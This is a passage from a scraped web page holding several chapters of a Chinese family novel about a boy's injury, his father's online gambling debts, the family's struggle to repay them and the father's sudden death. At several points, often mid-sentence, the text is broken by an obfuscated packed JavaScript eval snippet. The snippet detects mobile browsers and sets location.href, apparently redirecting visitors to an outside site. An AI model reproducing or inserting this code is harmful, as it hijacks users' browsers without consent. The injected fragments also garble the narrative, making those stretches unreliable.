赵国亮人不在老家，但家里盖房子是大事。于是，小小的赵安然“替父出工”。虽然年纪不大，才八岁，却也整天跟着家人泡在工地上，力所能及地帮忙搬砖、递工具。 这两年没了妈在身边，赵安然懂事得让人心疼。除了过年，家里平时就剩爷孙三人。老两口忙着地里的农活，赵安然常常一个人放学回家，自己踩着小板凳去灶上热剩饭吃，还会炒点简单的菜，比如西红柿炒鸡蛋。洗碗扫地、喂鸡喂鸭这些活，他早就干得麻利。 比起聚少离多的父亲，陪伴赵安然更多的是爷爷奶奶。久而久之，他不知道该如何亲近赵国亮。 饭桌上，听爷爷奶奶永远抱怨着家里的开销、哪里钱不够、卖猪卖鸡挣了多少钱……这些生活的琐碎和沉重，过早地压在了赵安然心头，让他远比同龄人成熟。他心疼爷爷奶奶的辛苦，总想着多干点活，为他们分担家庭的压力。 所以，在赵智民盖房子的工地上，总能看到赵安然小小的身影忙前忙后。虽然帮不了大忙，但递块砖、拿个钉子、跑跑腿还是可以的。工地上的人见了，也没有觉得不好，都夸这孩子懂事、能干。 但孩子终究是孩子，总有疏忽调皮的时候。 这天，工人们正在砌二楼的外墙。赵安然被反复叮嘱过不准上楼。可他忍不住好奇心，还想着帮忙。他趁着大人不注意，自己偷偷爬上了二楼。结果脚下一个没踩稳，惊叫着从脚手架的缝隙摔了下去。同时掉下去的，还有几块大砖头。不幸中的万幸，砖头只砸中了他的腿。 “安然！！！”惊呼声四起，众人吓坏了。 离得最近的赵智民魂都吓飞了，一个箭步冲过去，抱起痛得脸上发白、哇哇大哭的赵安然。众人手忙脚乱地简单止血后，立刻找了辆车，火速送往县医院。 “妈！安然怎么样了？醒了没？”赵小英挺着肚子，接到电话就火急火燎地坐车赶到医院。一家人围在急诊室外，急得团团转。 “还没醒，不过医生说手术很顺利，已经做完了，没啥大碍了，就是腿断了，得好好养。”赵智民知道母亲被吓到了，赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788807|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧出来解释。 听到“没啥大碍”，赵小英悬着的心才稍稍放下。她环顾一圈，发现少了一个人：“大哥呢？他不是就在城里吗？怎么没来？” “最开始电话死活打不通，刚联系上，说跟着师傅去附近镇上给人装电视了，正往回赶呢。”赵智民解释道。 “哦……”赵小英应了一声，想起自己那个对儿子不怎么上心的哥哥，心里满是埋怨。孩子都出这么大的事了，他倒还在外面忙。 正说着，走廊那头传来脚步声。是赵庭春领着几位医生走了过来。他们一群人连忙迎上去打招呼：“大姐！”“庭春姐！” 赵庭春脸上没那么紧张，安抚道：“放心吧，手术很成功，孩子没事了。小孩子恢复能力强，现在最关键的是后期的康复训练，一定要坚持做，不能马虎。养得好，大概半年左右就能痊愈了。” 她看了看围着的家人劝说着：“现在留一个人陪护就行，其他人先回去休息吧，这么多人挤在这儿也没用。” 听从赵庭春的建议，只留下杨红翠陪床。赵小英本想留下帮忙，但考虑到自己怀着孕，不适合跑上跑下。加上医院环境复杂，怕感染，为了肚子里的娃着想，最终还是跟着大家回去了。 待众人离去，病房里安静下来。杨红翠坐在孙子病床边的凳子上，看着床上黑黑瘦瘦的赵安然，腿上打着厚厚的石膏，固定着支架，还在昏睡。孩子遭的这份罪，让她忍不住抹起了眼泪。 傍晚，赵安然醒了。赵庭春送来了家里做的饭菜。杨红翠照顾孙子吃完，又忙着给他洗苹果。期间又给赵兴强打了电话，让他赶紧杀几只鸡鸭带下来。医生嘱咐了，这段时间营养必须跟上。杨红翠想着，后面去赵庭春家借用厨房，给孙子炖点汤补补。 等她拿着洗好的苹果回到病房门口时，发现赵国亮已经坐在了床边。一直表现得很勇敢的赵安然，在看到父亲的那一刻，终于绷不住了，内心的脆弱得到释放，放声哭了出来。杨红翠停下脚步，静静地在门外站着，想给这对父子多一点独处的时间。 61. 住院（2） 等里面的哭声渐渐平息，杨红翠才拎着苹果走进去。 “安然，来，吃个苹果。”她把一个苹果塞到孙子手里，又把另一个递给儿子，“你吃饭了没？” 杨红翠仔细打量儿子。半年不见，赵国亮好像也变黑了，瘦了，整个人都憔悴了一些，看来这半年他干的活也确实很辛苦。 “吃过了。”赵国亮接过苹果，没什么胃口，放在一边。他看着儿子腿上的石膏，心里又疼又气，“我来的时候问过大姐了，还好没砸到要害……你说你这孩子，怎么这么不听话？让你别上楼偏不听！这下知道痛了？” 躺在病床上的赵安然，原本渴望父亲的安慰，没想到等来的却是责怪，刚刚止住的眼泪又涌了上来，小嘴一撇，小声地抽泣起来。 “你现在骂孩子有啥用？”杨红翠心疼孙子，立刻护着，“平时也没见你多打几个电话回来关心关心！你就少说几句，让孩子安心养病！” 一个怪一个。 一个怪孩子调皮闯祸，一个怪父亲平时疏于管教。这个年纪的男孩子本就活泼好动，加上这两年家里变故，爷爷奶奶忙着农活，精力有限，赵安然成了“没人管”的孩子，能懂事到现在这样，已经很不容易了。 杨红翠看着孙子委屈的小脸，叹了口气。同为母亲，她心里再不情愿，也知道孩子此刻最想的肯定是妈妈。 “对了，秀梅……还不知道孩子出事了吧？你给她打个电话，让她跟孩子说几句话吧。”她推了推儿子。 看着儿子充满期待又带着怯意的眼神，赵国亮犹豫了一下，还是拿出手机，拨通了那个烂熟于心的号码。 “您好，您拨打的电话无人接听，请您稍后在拨……” 机械的女声重复了两遍。赵国亮放下手机，有些尴尬地对儿子说：“可能……你妈在忙工作，没听见。等她下班了，说不定就回过来了。 杨红翠在一旁看着，忍不住冷哼了一声：“工作忙？我看她是巴不得跟我们断了联系！我听说，她改嫁后，把无恙那孩子的姓都改了，跟着她现在的男人姓了！那可是我们赵家的种！现在安然出这么大的事，电话都不接，我看她就是故意的！” “妈！你别说了！”赵国亮烦躁地打断母亲。 赵国亮知道王秀梅不会接他的电话，也知道她不接电话的原因。只是这些理由，他没法告诉父母，更无法向儿子解释。 母亲提到赵无恙改名的事，像根刺一样扎进他心里。其实他之前就从王秀梅父母那里得知了这个消息，当时就失控地给王秀梅打了电话。在那次充满怒火的通话里，他口不择言，说了许多难听甚至恶毒的话。 毕竟曾经是最亲密的恋人，又在一起生活了那么多年，他们太知道说什么最能刺痛对方的心。在激烈的争吵中，赵国亮失控地吼道：“赵安然早就不要你这个妈了！我也不要赵无恙了！这辈子你都别想再见安然！我会给他找个好后妈的！” 离婚后的怨气和痛苦，让赵国亮完全失去了理智，一次次利用赵安然作为伤害王秀梅的工具。所以他心里清楚，王秀梅不会接他的电话，哪怕他现在后悔莫及。 考虑到赵国亮第二天一早还要跟着师傅去乡下维修冰箱、安装电视，杨红翠便让他先回租住的地方休息。照顾孙子的事，她一个人就能应付。 当晚，这间四人病房暂时只有赵安然一个病人。杨红翠就睡在隔壁的空床上，倒也睡得安稳。 赵安然却怎么也睡不着。他悄悄拿出奶奶的旧诺基亚手机玩贪吃蛇，那是赵国亮最早的一个手机。虽然拿给杨红翠用了，但她只会接打电话，其他功能都是赵安然帮忙弄的。所以，他还偷偷下载了几个小游戏。 听着奶奶均匀的鼾声，赵安然的心砰砰直跳。他翻出通讯录里那个熟记于心的名字，犹豫再三，还是按下了拨号键。 等待的每一秒都无比漫长，也无比煎熬。他想，如果妈妈接了电话，第一句该说什么？是说“妈妈，我好想你”，还是“妈妈，我腿摔断了，你能回来看看我吗？”……无数个念头在他小小的脑海里翻腾、交织。 “对不起，您拨打的电话无人接听，请稍后在拨……” 冰冷的提示音像一盆冷水浇下。原来是他自己多虑了，那些在心底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788808|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排练了无数遍的话，根本没有机会说出口。对方根本没有接听。 也许……奶奶晚上说的话是对的吧？妈妈真的不要他了？她已经有了新的家，早就把他忘了？ 那……我也要把她忘掉！赵安然咬着嘴唇，在心里狠狠地想。 可是，越想忘记，妈妈的笑容、妈妈的声音就越清晰地浮现在眼前。眼泪像断了线的珠子，无声地滚落，打湿了枕头。怕吵醒奶奶，他只能死死咬着被角，压抑着抽泣。不知哭了多久，眼泪终于流干了。 赵安然抹了把脸，默默删掉了通话记录，关掉手机，蜷缩在黑暗里。 接下来的日子，病房渐渐热闹了起来。上午住进来一个二十多岁的小伙子，骑摩托车摔断了胳膊；下午又来了个初中男生，打篮球崴了脚，肿得老高；还有个中年男人，因为车祸撞断了肋骨。小小的病房一下子挤满了人，陪护的家属也多了起来。 一下子，这突然的热闹让赵安然有些不适应。但杨红翠却很高兴，她终于有了聊天的伴儿。来照顾的都是女人，要么是妈妈，要么是妻子，聊起照顾病人、家长里短，总有说不完的话，比一个人干坐着陪孙子有趣多了。 在这吵吵嚷嚷的环境里，赵安然也没那么多精力沉浸在思念和悲伤里。日子在医生查房、护士换药、邻床的闲聊中一天天过去。很快，一个月到了，赵安然可以出院回家休养了。 出院那天，赵国亮雇了辆小车，专门送母亲和儿子回老家。他自己却没上车，只把行李塞进后备箱，对儿子说：“安然，听奶奶话，好好养着。爸还得跟师傅去干活，就不回去了。” 赵安然坐在车里，看着父亲站在车窗外，只是轻轻“嗯”了一声。爷爷奶奶总说爸爸在外面工作很辛苦，他心里也明白，但那份理解之下，更多的是失落和疏离。 不知道为什么，他的内心深处，总觉得父亲不喜欢回家，不喜欢待在老家。虽然他不知道父亲在外面具体做什么，但他隐约感觉到，父亲似乎更愿意待在外面。 多年以后，当赵安然长大成人，他才明白，小时候那个模糊的感觉，并非没有道理。 62. 网贷（1） 在赵小英和赵家老两口的帮衬下，赵智民花光了积蓄，把紧挨着大哥的那栋新房子盖了起来。除了中途赵安然摔断腿那场意外，一切还算顺利。这场意外也让赵智民对这个侄子格外心疼。 家里给赵智民办了一个搬家酒席，收了一点点份子钱。赵智民一分没留，全数交给了父母。毕竟，当初赵安然做手术加上后期康复，前前后后花了好几千块。 同年，赵小英生了第一胎，是个女儿，取名李舒月。这名字是孩子爷爷李申高起的。赵小英本想让孩子叫“李潇潇”这名的，但是拗不过老人家的坚持。李志对女儿叫什么完全无所谓，最后只能随了老人的愿。 这是赵小英结婚以来，头一回对公婆生出不满。她没少跑回娘家跟杨红翠诉苦：“妈！凭什么？我连自己孩子起什么名字都做不了主吗？” 杨红翠虽然嘴上帮女儿说话，心里却觉得这不是什么大事：“好了好了，李申高愿意给孩子起名，说明他们看重孙女。这点小事，犯不着跟他闹别扭。” 孩子出生后需要人照顾，赵小英便留在老家带孩子，李志则继续外出打工。李志不在身边，赵小英才真正体会到和公婆同住一个屋檐下的滋味，婆媳、公媳之间的矛盾逐渐浮出水面。 最大的分歧，就是对孩子的照顾和教育。 赵小英毕竟是年轻人，她经常看不惯公婆带孩子的方式。比如生怕孩子饿着冷着，一个劲儿地喂，一个劲儿地裹。就怕孩子吃不好穿不暖，但是现在已经什么年代了？ 更让她头疼的是公婆的溺爱。李舒月是李家的第一个孙女，被老两口捧在手心。每次赵小英想管教孩子，说几句重话，李申高和罗素芹就立刻拦着。 有一次，罗素芹甚至直接呛她：“这是我孙女！你那么大声凶她干啥？”语气里带着明显的不满。 就这一句话，让她一气之下回了娘家，给杨红翠抱怨道：“这是我的女儿，凭啥我连管教她的资格都没有？” 看着女儿三天两头往娘家跑，杨红翠也忍不住念叨：“现在知道我和你爸的苦心了吧？要是嫁得远，你能这么方便就跑回来诉苦？” 话虽如此，杨红翠还是亲自把女儿送了回去。表面上，她陪着笑脸对罗素芹说着自家女儿年轻不懂事、性子急，请亲家多担待。但话里话外却也点明了：孩子终究是娘身上掉下来的肉，当妈的管教天经地义。 这事最终算是平息了。杨红翠私下开导女儿：“成了家，就是这些鸡毛蒜皮、锅碗瓢盆的事。家家户户都这样，你习惯就好了。”她也是这么一路忍过来的。 不过这段时间，杨红翠心里过得不需要“忍”。因为她的大儿子重新替她争了光。 自赵国亮去学家电维修后，运气开始好起来，他现在在县城混得风生水起。 他脑子本来就灵光，学东西又快，加上嘴甜会来事，师傅也愿意倾囊相授，很快就把家电维修的技术学精了。 在家里的支持下，他在县城租了个小门面，开起了自己的小店，既卖家电也搞维修。亲朋好友都照顾他生意，家里的电器基本都从他那儿买。杨红翠和赵兴强在村里终于又能挺直腰杆走路了。儿子出息了，挣了钱，给他们挣足了面子。 最风光的时候，赵国亮还从县城带回来一个女朋友。村里都在传赵家又要有喜事了，还有人打趣赵家老两口：“哟，老赵，你家老大这都找第二个了，老二咋还没动静？你们可得抓点紧啊！” 每次听到这种话，赵兴强和杨红翠就愁上心头。老大这边看着又有希望了，可老二性子温吞，每次给他介绍姑娘，他连话都不会说，真能把人急死。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有时候，赵智民也分不清，父母的这种“偏心”对他到底是好还是不好，他自己也说不准。但看着家庭被拖入深渊，他心底只剩下对赵国亮“不争气”的怨愤。 这场足以击垮赵家的灾难，就是赵国亮染上了“网络赌博”。 63. 网贷（2） 时间往回拨。 赵国亮在城里挣钱风光那三年，杨红翠和赵兴强也跟着扬眉吐气了三年。可赵国亮没能如他们所愿，顺利结婚，在城里安家立业。 还记得赵国亮带新女友回村那天，赵安然在爷爷奶奶的叮嘱下，表现得格外乖巧懂事，见到那个漂亮的阿姨就甜甜地叫了一声。 赵安然心里也好奇，这个可能成为他“后妈”的女人，会是什么样？ 看到她的第一眼，赵安然就挺喜欢爸爸的女朋友。她长得很好看，高高瘦瘦，穿得时髦，笑起来的样子，让他恍惚间觉得有点像记忆里的妈妈。那天，他还收到了她送的礼物，一个巨大的变形金刚，包装精美，一看就不便宜。 那个女人对他既不过分热情，也不冷淡疏远，总是保持着一种礼貌的温和。吃过午饭，她便跟着赵国亮回了县城。 赵安然还在期待着第二次见面，却没想到，他和这个女人的缘分，就只有那匆匆一面。 原来，这个女人回去后，把赵国亮的家庭情况原原本本告诉了父母。她父母坚决反对女儿嫁给一个“拖家带口”的二婚男，更何况那个拖油瓶还是个儿子。另外，他还有一个没有结婚的弟弟，家境也一般。 尽管她很喜欢赵国亮，但是她父母撂下狠话：如果你执意要嫁，就断绝关系。 挣扎了一个月，她就和赵国亮分了手。第二年，她听从父母安排，嫁到了成都一个家境殷实的人家。 直到十年后，听闻赵国亮的死讯，她回到那个熟悉又陌生的村子参加葬礼。葬礼上，她看到了那个穿着朴素、眉宇间与自己有六七分相似的女人——王秀梅。那一刻，她才恍然明白，当初赵国亮为何对自己展开猛烈追求。 目光扫过灵堂上赵国亮沧桑的遗像，再环顾四周与十年前几乎无异的破旧老屋，她心中最后一点留恋也平息了。 她一切都释然了。有时候，听父母的话，选择一个家境好的男人，确实是对的。 她不知道的是，在他们分手后不久，心灰意冷的赵国亮，就一头扎进了网络赌博的深渊。 那段日子，赵国亮又一次品尝到失败的苦涩。他清楚地知道女友父母反对的原因——他有个儿子，有个没成家的弟弟，家在农村，在城里没房。说到底，根子还是他不够有钱。 他的女友叫刘敏，也是农村人，可在她年幼时，就搬到了城里。她的父母能在县城买房，眼界和能力就比村里人高出一截。他在县城的小店是租的，住的地方也是租的。虽然在村里人看来，他已是“成功人士”，但这点家底，根本入不了刘敏父母的眼。 可他是真心喜欢刘敏啊！从第一眼见到她，就像当年在地下服装城遇见王秀梅时那样，怦然心动。相处久了，他有时也分不清，自己究竟是爱刘敏这个人，还是爱她身上那份酷似王秀梅的影子，抑或是沉迷于这份感情带来的虚荣和自尊满足感？ 但刘敏的离开，无疑给了他沉重的打击。 现在结婚和以前不一样了，现实得很，需要钱。他知道刘敏爱他，就像当年的王秀梅爱他一样。可刘敏终究不是王秀梅，她选择了家境更好的男人。 也许是因为钱，也许是因为失恋后的空虚和孤独，又或许是因为被瞧不起的自卑，和一次次的失败，他开始在网上玩斗地主、打麻将，起初只是小打小闹，输赢几十几百块，权当消遣。 后来，他迷上了一款“捕鱼”游戏。不知不觉间，他被拉进一个游戏群。群里的人热情洋溢，不断怂恿他“搏一把大的”、“下一把就能回本”。在“导师”的蛊惑和“赢钱”截图的刺激下，他越陷越深，短短时间竟输掉了十多万！不仅掏空了所有积蓄，连店里周转的钱也搭了进去。 好在他还有手艺，铺子还能挣钱。他痛下决心，想着戒赌，从头再来。可就在这时，那些“热心”的网友又找上门，神秘兮兮地告诉他一个“稳赚不赔”的路子，信誓旦旦能帮他把之前输的都赢回来。不甘心和侥幸心理占了上风，他再次下水。这一次，他输得更惨，整整二十万！像一座大山压得他喘不过气。 走投无路之下，他开始疯狂借钱。兄弟姐妹、堂亲表亲，老朋友吴梦霖那里也借了个遍；最后连师傅那里也厚着脸皮去借。幸亏他平时为人还算仗义，大家或多或少都帮衬了些，总算把这个窟窿暂时填上了。 然而，一旦沾上赌博的毒瘾，想要彻底戒掉，难于登天。因为那份“不甘心”会像毒蛇一样噬咬着内心。 此时的赵国亮，已经输掉了三四十万。这不仅仅是他的全部身家，还有借来的、承载着信任和情分的钱。他不是挥 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直到催收的人第二次跑到赵庭春家里闹事、泼油漆、威胁，赵庭春才知道了他的网贷，还欠下如此巨款！尽管赵国亮在电话里痛哭流涕地哀求赵庭春不要告诉父母，但她思虑再三，看着被吓得瑟瑟发抖的孩子，还是咬牙把事情原原本本告诉了赵兴强。 那天晚上，在赵庭春家的客厅里，赵兴强第一次动手打了赵国亮。他气得浑身发抖，指着赵国亮的鼻子，嘴唇哆嗦着却骂不出一个字，突然眼前一黑，直挺挺地栽倒在地！ 众人慌忙将他送往医院抢救。一番检查下来，结果犹如晴天霹雳：心脏病！需要立刻转往市里医院做心脏手术！ 接到消息的赵小英和远在广州的赵智民如遭雷击。赵小英挺着孕肚，赵智民立刻打钱，两人心急如焚地凑钱给父亲救命。当赵小英匆忙赶到医院，才从大姐口中得知这场祸事的根源竟是哥哥赵国亮的网络赌博和巨额网贷！ 从那天起，赵小英和赵智民再也没有叫过赵国亮一声“哥”。他们口中，只剩下冷淡的全名——“赵国亮”。 也从这一天起，赵兴强、杨红翠、赵小英、赵智民，还有年幼的赵安然，他们的人生轨迹被彻底改变。 64. 还债（1） 赵兴强在医院经历了的九死一生，看着父亲躺急救ICU。赵国亮幡然醒悟，决定彻底戒赌。可是经历这一遭后，他似乎变了一个人，整个人性情大变，变得沉默寡言，好像被抽走了魂。他清楚地知道身边所有人是怎么看他的。 他是一个拖垮全家的赌鬼。巨大的羞愧和自责让他本能地逃避所有人际交往。 县城太小了，认识的熟人几乎都借过钱给他。他害怕出门，害怕任何可能遇见债主的角落，那种感觉比待在老家更让他窒息。市里还有以前酒店认识的朋友，尤其是吴梦霖。这个在他最困难时伸出援手的老友，他更是无颜面对。虽然梓州市很大，如果不是刻意，基本上两个人是不会相遇的。但他心里的坎，怎么也迈不过去。 他迫切需要逃到一个陌生的城市，一个没人不认识他、没人知道他那段不堪过往的城市。 于是，他去了隔壁县城，三山县。在那里租了一间破旧的小屋，重新开始。唯一值得庆幸的是，在最风光的那几年，他踏踏实实跟着师傅学了一身过硬的家电维修手艺。靠着这个技术，至少能养活自己，挣一口饭吃。 从此，除了过年那几天不得不回家，其余时间，哪怕店里没活，他也宁愿窝在三山县那个出租屋里，远离所有熟人。 赵兴强和杨红翠为了替儿子还债，开始了更加艰苦劳作。家里养了比以往更多的猪和鸡鸭，种了更多的庄稼。哪怕赵兴强得了冠心病不能劳累，但他还是强撑着上街摆摊，卖卷烟、卖小鸡小鸭，一点一点地攒钱。 尽管没有人明确告诉赵安然，父亲到底发生了什么，但他从家里的气氛、爷爷奶奶的愁容和骤然加重的劳作中，早已明白父亲在外面欠了很多钱。 小小年纪的他，在初中时就经常逃课，骑着家里那辆破三轮车送爷爷上街卖东西，或者去地里帮奶奶拉庄稼。初中一毕业，他就没再读书，跟着几个要好的朋友跑到市里学汽修，另外还经常去餐厅端盘子、去酒吧KTV当服务生……只要不犯法能挣钱，再苦再累的活他都干。 赵兴强和杨红翠从吴梦霖那里得知，赵安然如此辛苦的工作，老两口真是老泪纵横。 与赵国亮只有过年才露一面不同，赵安然则是每逢过节，或者听闻赵兴强身体不舒服，立刻就会赶回家，用自己省吃俭用存下的钱给老人买营养品。他所做的一点一滴都被看在眼里、疼在心里。 因为父亲赵兴强的心脏病需要长期服药和复查，赵智民不得不每月往家里寄更多的生活费。他心里清楚，母亲问他要钱，并不单纯是为了父亲和家里的开销，很大一部分是拿去替赵国亮还债。 家庭对钱的巨大需求，像一座无形的大山压在赵智民身上。他比任何时候都想挣大钱，改变家庭的困境，也改变自己卑微的处境。 可每次给父母打电话，听到的都是抱怨，这些负面情绪压得他喘不过气。更让他难以忍受的是每年过年时整个赵氏家族的聚会。 他们家永远坐在角落里，永远是亲戚们或明或暗调侃的对象。因为赵国亮不争气，因为家里穷，因为他这个大龄未婚的“光棍”……这些目光和言语，将他骨子里的自卑无限放大。他越来越不想回老家，越来越排斥参加任何亲人的家族聚会。 这种情绪何止赵智民有？内心自尊心极强的赵小英和敏感的赵安然同样如此。只不过他们后来选择了直接“消失”。赵小英已已经嫁人，赵安然年纪小，不参加家族聚会也说得过去。 而赵国亮，自从出事后更是彻底“隐身”。除了过年那两三天，不得不待在家里，其他家族活动一概不参与，春节还没过完就匆匆逃离。 在家族人眼 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自赵国亮出事，赵家需要她这个女儿来救济时，赵小英开始变得“无所畏惧”。经常面对亲戚们的调侃，冷眼相对，破罐子破摔，一副“大不了鱼死网破”的态度，和小时候低眉顺眼的样子完全不同。现在整个赵家的老辈子们没一个敢当面议论她。 在赵国亮出事前半年的“平静”期里，迫于李家“传宗接代”的压力，赵小英终于如愿生了个儿子。这一次，她拼尽全力，终于夺回了孩子的命名权。她把当年想给女儿用却被否决的名字，用在了儿子身上，取名李潇潇。 对她而言，这不仅仅是一个名字，更是一场迟来的胜利，是她必须争下的一口气，否则她心里的坎永远过不去。 虽然李志表面没说什么，但赵小英心知肚明，公婆李申高和罗素芹始终把她当外人。尤其是得知赵国亮欠下巨额债务后，他们对她的态度更是急转直下。她知道，他们是防着她拿李志挣的钱去补贴那个“无底洞”的娘家。 65. 还债（2） 本就带着被逼嫁入李家的委屈，赵小英的日子过得越发憋屈。每次她让李志拿钱给家里，总能听到公婆在隔壁房间压低声音的议论和不满，蛐蛐她又开始救济赵家，这让她在家如坐针毡。等李潇潇断了奶，她毫不犹豫地把孩子丢给公婆，和李志一起外出打工。 她用自己的工资维持李家的生活开销，剩的钱拿出来补贴娘家。李家父母仍然不满，但也无可奈何，毕竟钱是赵小英自己挣的。她知道李志被父母洗脑，要把钱紧紧攥在自己手里，从此之后再也没有上交过工资，还把之前卡里的钱全部转到他手里。 哪怕赵小英无数次和李志说过，她不会动他卡里的工资，那是小家庭拿去在城里买房的资金。 但是李志的做法让她明白，一旦涉及到钱，涉及到利益，信任这个东西真的很难存在。 然而，真正让赵小英和李志原本就不深厚的感情出现致命裂痕的，是赵智民的生意失败。 赵智民在厂里干了多年，早已厌倦了枯燥的流水线生活。看到那几年新兴的足浴养生中心生意火爆，他便辞了工，去一家足浴店上班。干了几年，好不容易存了点钱，在父母一次次“催钱”电话后，他和两个朋友合伙盘下了一个店，结果经营不善，苦苦支撑一年后，亏了十多万。 父母肯定没钱也无力帮他填这个窟窿。走投无路之下，赵智民只能硬着头皮向妹妹赵小英开口借钱。 赵小英的工资都被拿来当生活费。她和李志在外面的开销，要寄回老家的孩子抚养费，偶尔还要补贴赵家。李志和她商量，她的工资作为家用，然后他的钱存起来买房用。所以，赵小英也没有多余的私人钱拿出来。 无奈之下，她只能找李志开口。 李志坚决不同意借钱给赵智民。他认定这钱一旦借出去，短期内根本别想拿回来，甚至很可能打水漂。为此，两人爆发了结婚以来最激烈的争吵，赵小英气得直接提出了离婚。 “家里吃的用的，哪一样不是我工资出的？你存的那些钱，难道没有我的一份功劳？” 赵小英气得浑身发抖，“当初为了让你吃好点，工作不那么累，我才离开厂子，去母婴店上班！我的工资没你高，就是为了照顾好你！说好是两个人的存款，现在我想用点钱，还得看你脸色？” 这场离婚风波，最终以李志搬出两个孩子作为“人质”，并勉强拿出五万块钱而平息。剩下的五万块，是赵小英和赵智民一起，厚着脸皮去找舅妈借的。 从舅妈家出来，看着舅妈有了自己的包子铺，在城里买了房，安了家，兄妹俩心里五味杂陈。他们在路边小卖部买了两瓶最便宜的啤酒，坐在石墩子上，对着孤独的路灯买醉。 “二哥，你说……我们怎么就把日子过成了这样？”赵小英灌下一口苦涩的啤酒，声音带着哽咽。 赵智民低着头，沉默地喝着酒，半晌才闷声道：“不知道……稀里糊涂的……” 看到舅妈的眼神，她无时无刻不在回想当时舅妈对她说的话“小英，你只要自己走出来，舅妈肯定带着你继续干！”可当初，她还是妥协了，她没有勇敢地“走出来”。 如果当初能再狠心一点，抛弃那个令人窒息的家，是不是现在也能像舅妈一样，在广州安了家，有自己的事业，不用像现在这样，找自己男人要点钱都得看脸色、受窝囊气？ 可是啊，从小在那种重男轻女、以父母意志为天的家庭里长大的孩子，又有几个能有勇气真正“走出来”？ 虽然婚姻得以延续，但赵小英和李志之间的变得像“陌生人”一般。她不再伸手要钱，除了孩子的必须的抚养费，其他都是两人各过各的。 李家凡是重要的事情，都是他和李家父母关起门来商量决定，最后通知她一声。她在这个家里，彻底失去了话语权。 一个最明显的例子：当初说好存钱在市里买房的，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也许，他只是遵循着父母那套“娶妻生子，传宗接代”的传统观念过活。离婚会让他父母蒙羞，也会让他自己抬不起头。更何况，以他的条件和性格，一旦离了婚，再婚的可能性微乎其微。所以，他无论如何也要死死守住这段名存实亡的婚姻。 贫贱夫妻百事哀，柴米油盐终究会蹉跎一切。 66. 去世 2023年，赵家终于迎来了好光景。在家人的帮助下，赵国亮总算把压在身上多年的债务还清了。 这一年，他回家的次数明显多了起来。家里用了十几年的破旧冰箱被他换成了新的，还装上了燃气灶，方便杨红翠冬天在厨房用热水。年底，他拿出三万块钱塞给父母。去赵小英家吃饭时，看见她家微波炉坏了，二话不说又买了个新的换上。 看着儿子这些实实在在的变化，赵兴强和杨红翠心里头的大石头终于落了地，觉得苦日子熬到头了。赵兴强出去打牌的次数又渐渐多起来，杨红翠也开始有心情走亲访友。 2024年初，赵兴强把儿子给的三万块钱，加上赵国亮又补贴的两万块，一共五万块，都交给了赵安然。因为赵安然和两个朋友打算合伙开个洗车店。 赵兴强本以为日子就此走上正轨，他和老伴可以安心养老了。没想到，一个平常的下午三点多，杨红翠接到了一个陌生女人的电话。 “喂，你好，请问你是赵国亮的母亲吗？”电话那头的声音带着一丝急促。 “嗯嗯，我是的，有啥事吗？”杨红翠心里咯噔一下。 “赵国亮心梗去世了，现在在三山县县人民医院，你们家属赶快过来办理后事吧。” “心梗去世？”杨红翠第一反应是遇到了诈骗，儿子那么年轻，怎么可能？赶紧骂着：“你胡说啥呢！” “阿姨，是真的！您快来吧！”对方的语气带着不容置疑的焦急。 杨红翠颤抖着手再拨打儿子的电话确认，一直无人接听。在最后一次拨话中，电话那头接听了，依旧是给她打电话的女人。再她的验证下，得知死讯的杨红翠，整个人像被抽了骨头，直接瘫软在地。 正在屋里的赵兴强闻声冲出来，得知噩耗，如遭雷击，强撑着慌乱开始打电话通知亲戚。赵安然立刻从市里往三山县赶，赵小英和赵智民也赶紧买了最快的机票从外地往回飞。 后来才知道，给杨红翠打电话的是赵国亮当天去安装空调的业主。活儿干完后，赵国亮说有点累，想在沙发上歇几分钟。谁知这一歇，人就再没起来。业主发现后立刻拨打了120和110，并尽力做了急救，可惜还是没能救回来。 业主向警方提供了家里的监控录像，赵家人也做了尸检，确认是急性心梗。赵国亮的同事提醒赵家人，这属于工作期间死亡，可以找公司主张工伤赔偿。 然而，在人生地不熟的三山县，普通人跟公司打官司谈何容易。公司请的律师前来处理，他们的态度非常强硬，只肯出丧葬费，对其他赔偿一口回绝，还催促赵家人“赶紧把人拉回去入土为安”。 赵家人在殡仪馆里聚在一起商量对策。此时，赵小英和赵智民还在路上，只剩下赵兴强和年轻的赵安然这一老一小和其他亲戚们。巨大的悲痛让爷孙俩头脑一片混乱，完全不知所措。 赵安然强忍着眼泪，一边安抚爷爷，一边在亲戚们的陪同下一次次地和对方律师谈判。他突然想到了一个人——父亲当年的好友吴梦霖。在市里工作时，吴叔叔经常关照他。他拨通了吴梦霖的电话，把事情经过说了一遍，寻求帮助。 